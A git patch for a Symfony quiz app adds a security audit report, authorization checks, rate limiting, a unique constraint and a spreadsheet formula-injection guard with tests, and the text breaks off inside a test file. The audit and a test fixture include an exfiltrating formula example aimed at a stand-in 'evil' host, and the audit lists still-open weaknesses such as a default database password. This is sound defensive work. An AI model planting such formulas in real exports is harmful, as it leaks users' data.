From b290620cf9c61afd2b9ad21f10186731388978bd Mon Sep 17 00:00:00 2001 From: Marijn Doeve Date: Mon, 13 Jul 2026 22:58:29 +0200 Subject: [PATCH] Declare ext-intl/ext-zip requirements and fix security audit findings (#213) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Declare ext-intl and ext-zip as explicit composer requirements DataExportService uses ZipArchive directly and the Dutch-locale format_datetime Twig filter needs real ext-intl (the polyfill only supports en), but composer.json only declared ext-ctype/ext-iconv. Adding them lets `composer check-platform-reqs` catch a missing extension before a runtime crash. * Add authorization checks to PrepareEliminationController index and viewElimination had no IsGranted guard, unlike every other backoffice/elimination controller, so any authenticated user could prepare or overwrite another season's elimination screens. * Prevent formula injection in spreadsheet exports Answer/candidate text starting with =, +, -, or @ was written to XLSX exports as a live formula rather than plain text. Since seasons can have multiple owners, a co-owner could plant a formula that runs (and can exfiltrate data) when another owner opens the export in Excel. * Add rate limiting to login and season-code entry points Neither /login nor the public season-code guess form (POST /) had any throttling, making both an unlimited brute-force/enumeration oracle. Adds symfony/rate-limiter and enables login_throttling on the main firewall, plus a dedicated per-IP rate limiter on the season-code form. * Add unique constraint to prevent double-submit score inflation A candidate could submit two concurrent POSTs for the same question before either committed, since GivenAnswer had no unique constraint and the "next question" check was subject to a TOCTOU race — each insert was then counted as a correct answer. * Address CodeRabbit review findings Include a Retry-After header on the season-code rate limit, correct stale line references in the security audit doc, and fix a stray comma in the reset-password email. --- SECURITY_AUDIT.md | 115 ++++++++++++++++++ composer.json | 3 + composer.lock | 80 +++++++++++- config/packages/framework.yaml | 12 +- config/packages/security.yaml | 6 + config/reference.php | 2 +- migrations/Version20260713194340.php | 52 ++++++++ .../PrepareEliminationController.php | 4 + src/Controller/QuizController.php | 22 +++- src/Entity/GivenAnswer.php | 9 +- .../FormulaInjectionSafeValueBinder.php | 31 +++++ src/Service/DataExportService.php | 6 +- src/Service/QuizSpreadsheetService.php | 7 ++ templates/reset_password/email.html.twig | 2 +- .../PrepareEliminationControllerTest.php | 30 +++++ tests/Controller/LoginControllerTest.php | 32 +++++ tests/Controller/QuizControllerTest.php | 28 +++++ .../FormulaInjectionSafeValueBinderTest.php | 63 ++++++++++ .../Repository/GivenAnswerRepositoryTest.php | 41 +++++++ tests/Service/DataExportServiceTest.php | 38 ++++++ tests/Service/QuizSpreadsheetServiceTest.php | 21 ++++ 21 files changed, 595 insertions(+), 9 deletions(-) create mode 100644 SECURITY_AUDIT.md create mode 100644 migrations/Version20260713194340.php create mode 100644 src/Helpers/FormulaInjectionSafeValueBinder.php create mode 100644 tests/Helpers/FormulaInjectionSafeValueBinderTest.php create mode 100644 tests/Repository/GivenAnswerRepositoryTest.php diff --git a/SECURITY_AUDIT.md b/SECURITY_AUDIT.md new file mode 100644 index 0000000..6036841 --- /dev/null +++ b/SECURITY_AUDIT.md @@ -0,0 +1,115 @@ +# Security Audit — Tijd voor de test + +**Date:** 2026-07-12 +**Branch:** `declare-ext-intl-ext-zip` +**Scope:** Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified. + +## Summary + +| # | Severity | Finding | Location | +|----|----------|------------------------------------------------------------------------------------|-------------------------------------------------------------------------------| +| 1 | High | ~~`PrepareEliminationController` has no authorization guard~~ **Fixed 2026-07-13** | `src/Controller/Backoffice/PrepareEliminationController.php:21-65` | +| 2 | High | Production PostgreSQL published to host + default-password fallback | `compose.prod.yaml:27-28`, `compose.yaml:11,30` | +| 3 | Medium | ~~Spreadsheet formula injection in exports~~ **Fixed 2026-07-13** | `src/Service/QuizSpreadsheetService.php`, `src/Service/DataExportService.php` | +| 4 | Medium | ~~No login throttling / brute-force protection~~ **Fixed 2026-07-13** | `config/packages/security.yaml:30-31` | +| 5 | Medium | Open self-registration grants immediate backoffice access | `src/Controller/RegistrationController.php:40-56` | +| 6 | Low | ~~Double-submit race can inflate score~~ **Fixed 2026-07-13** | `src/Controller/QuizController.php:135-142` | +| 7 | Low | Answer-POST path never checks `isFinalized`/`isLocked` | `src/Controller/QuizController.php:102-131` | +| 8 | Low | Server-side formula evaluation of uploaded XLSX | `src/Service/QuizSpreadsheetService.php:68` | +| 9 | Low | Containers run as root | `Dockerfile` | +| 10 | Low | No security response headers in prod | `frankenphp/Caddyfile:45` | +| 11 | Low | Committed `APP_SECRET` (dev-only) | `.env.dev:3` | +| 12 | Low | `zend.exception_ignore_args = Off` in prod | `frankenphp/conf.d/10-app.ini:15` | + +**Dependencies are clean:** `composer audit` and `bin/console importmap:audit` both report zero known-CVE advisories. + +--- + +## High + +### 1. `PrepareEliminationController` has no authorization guard — FIXED + +**File:** `src/Controller/Backoffice/PrepareEliminationController.php:21-65` + +The class carried no `#[IsGranted]` at class or method level — unlike every sibling controller, and unlike `EliminationController` which guards with `SeasonVoter::ELIMINATION`. Both routes were gated only by the blanket `^/backoffice → IS_AUTHENTICATED` rule. + +- `viewElimination` (line 46) both reads and, on POST, rewrites any elimination via `updateFromInputBag()` + `flush()`. +- `index` (line 32) never checked that `$quiz` belonged to `$season`. + +**Failure scenario:** Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens. + +**Fix applied:** Added `#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]` to `index` and `#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]` to `viewElimination`, matching the pattern used everywhere else. Regression tests `testIndexIsDeniedForNonOwner` and `testViewEliminationIsDeniedForNonOwner` were added to `tests/Controller/Backoffice/PrepareEliminationControllerTest.php` (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass. + +### 2. Production PostgreSQL published to host with default-password fallback + +**Files:** `compose.prod.yaml:27-28`, `compose.yaml:11,30` + +- `compose.prod.yaml:27-28` publishes `5430:5432` in the *production* override; the DB should stay on the `internal` network only. +- `compose.yaml:11,30` default `POSTGRES_PASSWORD` to `!ChangeMe!`, and `compose.prod.yaml` never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password. + +**Failure scenario:** Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens. + +**Fix:** Drop the port publish from the prod override; make `POSTGRES_PASSWORD` mandatory with no fallback in prod. + +--- + +## Medium + +### 3. Spreadsheet formula injection in exports — FIXED + +**Files:** `src/Service/QuizSpreadsheetService.php:132,136`; `src/Service/DataExportService.php:208,237,249-265,328,393-403` + +All user-controlled strings were written to XLSX via `setCellValue()`/`fromArray()` with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with `=` as a live formula. + +**Failure scenario:** Seasons support multiple owners, so a co-owner could name an answer/candidate `=WEBSERVICE("http://evil/?"&A1)`; when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate. + +**Fix applied:** Added `src/Helpers/FormulaInjectionSafeValueBinder.php`, a `DefaultValueBinder` override that forces any string starting with `= + - @` (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via `Cell::setValueBinder()` in the constructors of `QuizSpreadsheetService` and `DataExportService`, so it's active before any cell is written. Regression tests added: `tests/Helpers/FormulaInjectionSafeValueBinderTest.php` (unit-level), plus `testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString` and `testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString` (written first, confirmed failing against the old code, now passing). + +### 4. No login throttling / brute-force protection — FIXED + +**File:** `config/packages/security.yaml:30-31` + +`form_login` had no `login_throttling` and no rate limiter was configured anywhere. `/login` allowed unlimited password guessing; the public `POST /` season-code entry (`QuizController.php:35`) was likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet). + +**Fix applied:** +- Added `symfony/rate-limiter` as a composer dependency and enabled `login_throttling` (`max_attempts: 5`) on the `main` firewall in `config/packages/security.yaml`, using Symfony's built-in per-user/global rate limiter. +- Added a dedicated `season_code` rate limiter (`framework.rate_limiter`, sliding window, 20 attempts/minute per IP) in `config/packages/framework.yaml`, enforced in `QuizController::selectSeason` — a `TooManyRequestsHttpException` (429) is thrown once the client IP exceeds the limit, before the season-code form is even validated. +- Both limiters have lower `when@test` overrides so tests run fast and deterministically. +- Regression tests added: `testLoginIsThrottledAfterTooManyFailedAttempts` (`tests/Controller/LoginControllerTest.php`) and `testSelectSeasonIsThrottledAfterTooManyAttempts` (`tests/Controller/QuizControllerTest.php`), both written first, confirmed failing against the old config, now passing. + +### 5. Open self-registration grants immediate backoffice access + +**Files:** `src/Controller/RegistrationController.php:40-56`, `config/packages/security.yaml:31` + +Registration auto-logs-in a new user *before* email verification, and `^/backoffice` requires only `IS_AUTHENTICATED`. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable. + +**Fix / decision needed:** Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration. + +--- + +## Low + +### 6. Double-submit race can inflate score — FIXED + +**Files:** `src/Controller/QuizController.php:137-146`, `src/Entity/GivenAnswer.php`, `migrations/Version20260713194340.php` + +No unique constraint on `GivenAnswer` and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer could each pass the check before either committed, each inserting a `GivenAnswer` row — `QuizRepository::getScores()` counts every row where the answer is correct, so duplicates inflated the score. + +**Fix applied:** Added a denormalized `GivenAnswer::$question` (derived from `$answer->question` in the constructor, no call-site changes needed) plus a Postgres partial unique index on `(candidate_id, question_id) WHERE deleted_at IS NULL`, matching the pattern already used on `QuizCandidate`. The partial predicate keeps re-answering possible after `GivenAnswerRepository::deleteAllForCandidateInQuiz()` soft-deletes a candidate's answers (backoffice "reset candidate progress"). `QuizController::quizPage` now catches `UniqueConstraintViolationException` on flush and redirects with a flash instead of a 500. Regression test `testDuplicateGivenAnswerForSameQuestionIsRejected` added to `tests/Repository/GivenAnswerRepositoryTest.php` (written first, confirmed failing against the old schema, now passing). Full suite (300 tests), PHPStan, Rector, and CS-Fixer all pass. + +--- + +## Remaining Low findings + +- **7. Answer-POST path never checks `isFinalized`/`isLocked`** (`src/Controller/QuizController.php:102-131`): a finalized quiz still set as `activeQuiz` stays answerable. The POST path also doesn't assert a `QuizCandidate` exists (only GET does) — currently not exploitable but worth hardening. +- **8. Server-side formula evaluation of uploaded XLSX** (`src/Service/QuizSpreadsheetService.php:68`): `toArray()` leaves `calculateFormulas` at default `true`, allowing CPU-burn via nested formulas on import. Pass `calculateFormulas: false`. +- **9. Containers run as root** (`Dockerfile`, no `USER` directive): any PHP RCE is immediately root in-container. +- **10. No security response headers in prod** (`frankenphp/Caddyfile:45`): no CSP/`frame-ancestors`, `X-Content-Type-Options`, or HSTS — backoffice is clickjackable. +- **11. Committed `APP_SECRET`** (`.env.dev:3`, dev-only): prod uses `composer dump-env prod` with an env-provided secret, so scope is limited to any environment misconfigured to `APP_ENV=dev`. Consider rotating regardless since the value is now public. +- **12. `zend.exception_ignore_args = Off`** (`frankenphp/conf.d/10-app.ini:15`, prod): a stack trace in a password-handling path could ship plaintext to Sentry. + +--- + +## Confirmed clean + +No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one `|raw` on an app-generated signed URL; GitHub release markdown is escaped), no `unserialize`/`eval`/shell-exec anywhere, safe redirects (open-redirect listener validates the logout `target`), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no `pull_request_target`). diff --git a/composer.json b/composer.json index 9c420bf..78e1fc7 100644 --- a/composer.json +++ b/composer.json @@ -9,6 +9,8 @@ "php": ">=8.5", "ext-ctype": "*", "ext-iconv": "*", + "ext-intl": "*", + "ext-zip": "*", "doctrine/dbal": "^4.4.3", "doctrine/doctrine-bundle": "^3.2.2", "doctrine/doctrine-migrations-bundle": "^4.0", @@ -34,6 +36,7 @@ "symfony/object-mapper": "8.1.*", "symfony/property-access": "8.1.*", "symfony/property-info": "8.1.*", + "symfony/rate-limiter": "8.1.*", "symfony/runtime": "8.1.*", "symfony/security-bundle": "8.1.*", "symfony/security-csrf": "8.1.*", diff --git a/composer.lock b/composer.lock index e8b0db9..00a739b 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "0bb88a3f492fa607203eb66735827179", + "content-hash": "8d015cbf63f1f3814ab4992817f899fd", "packages": [ { "name": "composer/pcre", @@ -6985,6 +6985,80 @@ ], "time": "2026-05-29T05:06:50+00:00" }, + { + "name": "symfony/rate-limiter", + "version": "v8.1.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/rate-limiter.git", + "reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/rate-limiter/zipball/dd8f48286c000b8511b9413105f4118c8c2a4bd6", + "reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6", + "shasum": "" + }, + "require": { + "php": ">=8.4.1", + "symfony/options-resolver": "^7.4|^8.0" + }, + "require-dev": { + "psr/cache": "^1.0|^2.0|^3.0", + "symfony/lock": "^7.4|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\RateLimiter\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Wouter de Jong", + "email": "wouter@wouterj.nl" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides a Token Bucket implementation to rate limit input and output in your application", + "homepage": "https://symfony.com", + "keywords": [ + "limiter", + "rate-limiter" + ], + "support": { + "source": "https://github.com/symfony/rate-limiter/tree/v8.1.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-09T11:06:24+00:00" + }, { "name": "symfony/routing", "version": "v8.1.0", @@ -13758,7 +13832,9 @@ "platform": { "php": ">=8.5", "ext-ctype": "*", - "ext-iconv": "*" + "ext-iconv": "*", + "ext-intl": "*", + "ext-zip": "*" }, "platform-dev": {}, "plugin-api-version": "2.9.0" diff --git a/config/packages/framework.yaml b/config/packages/framework.yaml index fc45578..9c49989 100644 --- a/config/packages/framework.yaml +++ b/config/packages/framework.yaml @@ -1,7 +1,7 @@ # see https://symfony.com/doc/current/reference/configuration/framework.html framework: secret: '%env(APP_SECRET)%' - + # Note that the session will be started ONLY if you read or write from it. session: true form: @@ -9,6 +9,13 @@ framework: enabled: true #esi: true #fragments: true + rate_limiter: + # Throttles guesses against the public season-code entry point (config/packages/security.yaml + # handles throttling for the backoffice /login form separately). + season_code: + policy: sliding_window + limit: 20 + interval: '1 minute' when@prod: framework: # shortcut for private IP address ranges of your proxy @@ -21,3 +28,6 @@ when@test: test: true session: storage_factory_id: session.storage.factory.mock_file + rate_limiter: + season_code: + limit: 3 diff --git a/config/packages/security.yaml b/config/packages/security.yaml index 378d16d..479a740 100644 --- a/config/packages/security.yaml +++ b/config/packages/security.yaml @@ -27,6 +27,8 @@ security: remember_me: secret: '%kernel.secret%' lifetime: 604800 # 1 week in seconds + login_throttling: + max_attempts: 5 access_control: - { path: ^/admin, roles: ROLE_ADMIN } @@ -43,3 +45,7 @@ when@test: cost: 4 # Lowest possible value for bcrypt time_cost: 3 # Lowest possible value for argon memory_cost: 10 # Lowest possible value for argon + firewalls: + main: + login_throttling: + max_attempts: 2 diff --git a/config/reference.php b/config/reference.php index a9a791e..574cecc 100644 --- a/config/reference.php +++ b/config/reference.php @@ -629,7 +629,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param; * }>, * }, * rate_limiter?: bool|array{ // Rate limiter configuration - * enabled?: bool|Param, // Default: false + * enabled?: bool|Param, // Default: true * limiters?: arrayaddSql('ALTER TABLE given_answer ADD question_id UUID DEFAULT NULL'); + $this->addSql(<<<'SQL' + UPDATE given_answer + SET question_id = answer.question_id + FROM answer + WHERE answer.id = given_answer.answer_id + SQL); + $this->addSql('ALTER TABLE given_answer ALTER COLUMN question_id SET NOT NULL'); + $this->addSql(<<<'SQL' + ALTER TABLE + given_answer + ADD + CONSTRAINT FK_9AC61A301E27F6BF FOREIGN KEY (question_id) REFERENCES question (id) NOT DEFERRABLE + SQL); + $this->addSql('CREATE INDEX IDX_9AC61A301E27F6BF ON given_answer (question_id)'); + $this->addSql(<<<'SQL' + CREATE UNIQUE INDEX UNIQ_9AC61A3091BD87811E27F6BF ON given_answer (candidate_id, question_id) + WHERE + (deleted_at IS NULL) + SQL); + } + + #[\Override] + public function down(Schema $schema): void + { + // this down() migration is auto-generated, please modify it to your needs + $this->addSql('ALTER TABLE given_answer DROP CONSTRAINT FK_9AC61A301E27F6BF'); + $this->addSql('DROP INDEX IDX_9AC61A301E27F6BF'); + $this->addSql('DROP INDEX UNIQ_9AC61A3091BD87811E27F6BF'); + $this->addSql('ALTER TABLE given_answer DROP question_id'); + } +} diff --git a/src/Controller/Backoffice/PrepareEliminationController.php b/src/Controller/Backoffice/PrepareEliminationController.php index bf7953e..ec9acfc 100644 --- a/src/Controller/Backoffice/PrepareEliminationController.php +++ b/src/Controller/Backoffice/PrepareEliminationController.php @@ -11,18 +11,21 @@ use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\Routing\Requirement\Requirement; use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; +use Symfony\Component\Security\Http\Attribute\IsGranted; use Tvdt\Controller\AbstractController; use Tvdt\Entity\Elimination; use Tvdt\Entity\Quiz; use Tvdt\Entity\Season; use Tvdt\Enum\FlashType; use Tvdt\Factory\EliminationFactory; +use Tvdt\Security\Voter\SeasonVoter; final class PrepareEliminationController extends AbstractController { public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {} #[IsCsrfTokenValid('prepare_elimination')] + #[IsGranted(SeasonVoter::ELIMINATION, 'quiz')] #[Route( '/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare', name: 'tvdt_prepare_elimination', @@ -37,6 +40,7 @@ final class PrepareEliminationController extends AbstractController } #[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])] + #[IsGranted(SeasonVoter::ELIMINATION, 'elimination')] #[Route( '/backoffice/elimination/{elimination}', name: 'tvdt_prepare_elimination_view', diff --git a/src/Controller/QuizController.php b/src/Controller/QuizController.php index c36909f..40a5c50 100644 --- a/src/Controller/QuizController.php +++ b/src/Controller/QuizController.php @@ -4,10 +4,13 @@ declare(strict_types=1); namespace Tvdt\Controller; +use Doctrine\DBAL\Exception\UniqueConstraintViolationException; use Doctrine\ORM\EntityManagerInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\AsController; +use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException; +use Symfony\Component\RateLimiter\RateLimiterFactoryInterface; use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; use Symfony\Contracts\Translation\TranslatorInterface; @@ -30,7 +33,7 @@ use Tvdt\Repository\SeasonRepository; #[AsController] final class QuizController extends AbstractController { - public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository) {} + public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository, private readonly RateLimiterFactoryInterface $seasonCodeLimiter) {} #[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])] public function selectSeason(Request $request): Response @@ -38,6 +41,14 @@ final class QuizController extends AbstractController $form = $this->createForm(SelectSeasonType::class); $form->handleRequest($request); + if ($form->isSubmitted()) { + $limit = $this->seasonCodeLimiter->create($request->getClientIp())->consume(); + + if (!$limit->isAccepted()) { + throw new TooManyRequestsHttpException(max(1, $limit->getRetryAfter()->getTimestamp() - time())); + } + } + if ($form->isSubmitted() && $form->isValid()) { $seasonCode = $form->get('season_code')->getData(); @@ -125,7 +136,14 @@ final class QuizController extends AbstractController $givenAnswer = new GivenAnswer($candidate, $answer->question->quiz, $answer); $this->entityManager->persist($givenAnswer); - $this->entityManager->flush(); + + try { + $this->entityManager->flush(); + } catch (UniqueConstraintViolationException) { + $this->addFlash(FlashType::Danger, $this->translator->trans('You cannot answer this question')); + + return $this->redirectToRoute('tvdt_quiz_quiz_page', ['seasonCode' => $season->seasonCode, 'nameHash' => $nameHash]); + } // end of extracting saving answer logic return $this->redirectToRoute('tvdt_quiz_quiz_page', ['seasonCode' => $season->seasonCode, 'nameHash' => $nameHash]); diff --git a/src/Entity/GivenAnswer.php b/src/Entity/GivenAnswer.php index bd778de..804a68d 100644 --- a/src/Entity/GivenAnswer.php +++ b/src/Entity/GivenAnswer.php @@ -14,6 +14,7 @@ use Tvdt\Repository\GivenAnswerRepository; #[Gedmo\SoftDeleteable] #[ORM\Entity(repositoryClass: GivenAnswerRepository::class)] +#[ORM\UniqueConstraint(columns: ['candidate_id', 'question_id'], options: ['where' => '(deleted_at IS NULL)'])] class GivenAnswer { use SoftDeleteableEntity; @@ -28,6 +29,10 @@ class GivenAnswer #[ORM\Column(type: Types::DATETIMETZ_IMMUTABLE, nullable: false)] public private(set) \DateTimeImmutable $created; + #[ORM\JoinColumn(nullable: false)] + #[ORM\ManyToOne] + public private(set) Question $question; + public function __construct( #[ORM\JoinColumn(nullable: false)] #[ORM\ManyToOne(inversedBy: 'givenAnswers')] @@ -40,5 +45,7 @@ class GivenAnswer #[ORM\JoinColumn(nullable: false)] #[ORM\ManyToOne(inversedBy: 'givenAnswers')] public private(set) Answer $answer, - ) {} + ) { + $this->question = $answer->question; + } } diff --git a/src/Helpers/FormulaInjectionSafeValueBinder.php b/src/Helpers/FormulaInjectionSafeValueBinder.php new file mode 100644 index 0000000..9846fd3 --- /dev/null +++ b/src/Helpers/FormulaInjectionSafeValueBinder.php @@ -0,0 +1,31 @@ +setValueExplicit($value); + + return true; + } + + return parent::bindValue($cell, $value); + } +} diff --git a/src/Service/DataExportService.php b/src/Service/DataExportService.php index 2b97159..f0cf206 100644 --- a/src/Service/DataExportService.php +++ b/src/Service/DataExportService.php @@ -5,6 +5,7 @@ declare(strict_types=1); namespace Tvdt\Service; use Doctrine\ORM\EntityManagerInterface; +use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; @@ -19,6 +20,7 @@ use Tvdt\Entity\Quiz; use Tvdt\Entity\Season; use Tvdt\Entity\User; use Tvdt\Helpers\FilenameSanitizer; +use Tvdt\Helpers\FormulaInjectionSafeValueBinder; use Tvdt\Repository\QuizRepository; use function Safe\tempnam; @@ -31,7 +33,9 @@ class DataExportService private readonly EntityManagerInterface $entityManager, private readonly QuizSpreadsheetService $quizSpreadsheetService, private readonly QuizRepository $quizRepository, - ) {} + ) { + Cell::setValueBinder(new FormulaInjectionSafeValueBinder()); + } /** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */ public function exportForUser(User $user): string diff --git a/src/Service/QuizSpreadsheetService.php b/src/Service/QuizSpreadsheetService.php index f186223..dd2d377 100644 --- a/src/Service/QuizSpreadsheetService.php +++ b/src/Service/QuizSpreadsheetService.php @@ -4,6 +4,7 @@ declare(strict_types=1); namespace Tvdt\Service; +use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Spreadsheet; @@ -14,9 +15,15 @@ use Tvdt\Entity\Answer; use Tvdt\Entity\Question; use Tvdt\Entity\Quiz; use Tvdt\Exception\SpreadsheetDataException; +use Tvdt\Helpers\FormulaInjectionSafeValueBinder; class QuizSpreadsheetService { + public function __construct() + { + Cell::setValueBinder(new FormulaInjectionSafeValueBinder()); + } + public function generateTemplate(bool $fillExample = true): \Closure { $quiz = new Quiz(); diff --git a/templates/reset_password/email.html.twig b/templates/reset_password/email.html.twig index e62d49e..6505e21 100644 --- a/templates/reset_password/email.html.twig +++ b/templates/reset_password/email.html.twig @@ -19,7 +19,7 @@

- Let op: deze link is, niet eeuwig geldig. Hij verloopt over + Let op: deze link is niet eeuwig geldig. Hij verloopt over {{ resetToken.expirationMessageKey|trans(resetToken.expirationMessageData, 'ResetPasswordBundle') }}.

diff --git a/tests/Controller/Backoffice/PrepareEliminationControllerTest.php b/tests/Controller/Backoffice/PrepareEliminationControllerTest.php index 7e417ff..5b09c64 100644 --- a/tests/Controller/Backoffice/PrepareEliminationControllerTest.php +++ b/tests/Controller/Backoffice/PrepareEliminationControllerTest.php @@ -117,4 +117,34 @@ final class PrepareEliminationControllerTest extends AbstractControllerWebTestCa self::assertResponseRedirects(\sprintf('/elimination/%s', $elimination->id)); } + + public function testIndexIsDeniedForNonOwner(): void + { + $quiz = $this->getQuizByName('Quiz 1'); + $token = $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/krtek/quiz/%s/result', $quiz->id), '/elimination/prepare'); + + $this->loginAs('test@example.org'); + + $this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/quiz/%s/elimination/prepare', $quiz->id), [ + '_token' => $token, + ]); + + self::assertResponseStatusCodeSame(403); + } + + public function testViewEliminationIsDeniedForNonOwner(): void + { + $quiz = $this->getQuizByName('Quiz 1'); + $elimination = new Elimination($quiz); + $elimination->data = ['Tom' => Elimination::SCREEN_GREEN]; + + $this->entityManager->persist($elimination); + $this->entityManager->flush(); + + $this->loginAs('test@example.org'); + + $this->client->request(Request::METHOD_GET, \sprintf('/backoffice/elimination/%s', $elimination->id)); + + self::assertResponseStatusCodeSame(403); + } } diff --git a/tests/Controller/LoginControllerTest.php b/tests/Controller/LoginControllerTest.php index 2ad24d0..b530997 100644 --- a/tests/Controller/LoginControllerTest.php +++ b/tests/Controller/LoginControllerTest.php @@ -11,6 +11,14 @@ use Tvdt\Controller\LoginController; #[CoversClass(LoginController::class)] final class LoginControllerTest extends AbstractControllerWebTestCase { + protected function setUp(): void + { + parent::setUp(); + + // Login attempts are rate-limited; start each test with a clean quota. + self::getContainer()->get('cache.rate_limiter')->clear(); + } + public function testLoginPageLoadsWhenNotAuthenticated(): void { $this->client->request(Request::METHOD_GET, '/login'); @@ -60,6 +68,30 @@ final class LoginControllerTest extends AbstractControllerWebTestCase self::assertSelectorTextContains('body', 'Ongeldige inloggegevens.'); } + public function testLoginIsThrottledAfterTooManyFailedAttempts(): void + { + for ($i = 0; $i < 2; ++$i) { + $this->client->request(Request::METHOD_GET, '/login'); + $form = $this->client->getCrawler()->filter('form')->form([ + '_username' => 'test@example.org', + '_password' => 'wrong-password', + ]); + $this->client->submit($form); + self::assertResponseRedirects('/login'); + } + + $this->client->request(Request::METHOD_GET, '/login'); + $form = $this->client->getCrawler()->filter('form')->form([ + '_username' => 'test@example.org', + '_password' => 'wrong-password', + ]); + $this->client->submit($form); + + self::assertResponseRedirects('/login'); + $this->client->followRedirect(); + self::assertSelectorTextContains('body', 'Te veel onjuiste inlogpogingen'); + } + public function testLogoutIsInterceptedByFirewall(): void { $this->loginAs('test@example.org'); diff --git a/tests/Controller/QuizControllerTest.php b/tests/Controller/QuizControllerTest.php index a5f88ef..25e3e4c 100644 --- a/tests/Controller/QuizControllerTest.php +++ b/tests/Controller/QuizControllerTest.php @@ -17,6 +17,14 @@ use Tvdt\Helpers\Base64; #[CoversClass(QuizController::class)] final class QuizControllerTest extends AbstractControllerWebTestCase { + protected function setUp(): void + { + parent::setUp(); + + // Season-code guessing is rate-limited; start each test with a clean quota. + self::getContainer()->get('cache.rate_limiter')->clear(); + } + private function answerQuestion(Question $question): void { $tomHash = Base64::base64UrlEncode('Tom'); @@ -69,6 +77,26 @@ final class QuizControllerTest extends AbstractControllerWebTestCase self::assertResponseRedirects('/krtek'); } + public function testSelectSeasonIsThrottledAfterTooManyAttempts(): void + { + for ($i = 0; $i < 3; ++$i) { + $crawler = $this->client->request(Request::METHOD_GET, '/'); + $form = $crawler->filter('form')->form([ + 'select_season[season_code]' => 'aaaaa', + ]); + $this->client->submit($form); + self::assertResponseRedirects('/'); + } + + $crawler = $this->client->request(Request::METHOD_GET, '/'); + $form = $crawler->filter('form')->form([ + 'select_season[season_code]' => 'aaaaa', + ]); + $this->client->submit($form); + + self::assertResponseStatusCodeSame(429); + } + public function testEnterNamePageLoads(): void { $this->client->request(Request::METHOD_GET, '/krtek'); diff --git a/tests/Helpers/FormulaInjectionSafeValueBinderTest.php b/tests/Helpers/FormulaInjectionSafeValueBinderTest.php new file mode 100644 index 0000000..0cf9d3d --- /dev/null +++ b/tests/Helpers/FormulaInjectionSafeValueBinderTest.php @@ -0,0 +1,63 @@ + */ + public static function dangerousValueProvider(): iterable + { + yield 'equals-prefixed formula' => ['=WEBSERVICE("http://evil/?"&A1)']; + yield 